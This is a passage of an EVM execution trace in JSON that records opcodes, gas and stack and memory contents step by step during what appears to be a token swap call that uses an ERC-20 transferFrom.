4b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15305,"op":"MLOAD","gas":79643,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x304"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15306,"op":"DUP1","gas":79640,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15307,"op":"ISZERO","gas":79637,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15308,"op":"ISZERO","gas":79634,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15309,"op":"DUP2","gas":79631,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15310,"op":"EQ","gas":79628,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15311,"op":"PUSH2","gas":79625,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":15314,"op":"JUMPI","gas":79622,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1","0x1","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":79612,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":79611,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x3424","0x324","0x304","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":79608,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x324","0x304","0x0","0x3424"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":79605,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2e4","0x1","0x3424","0x304","0x0","0x324"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c20636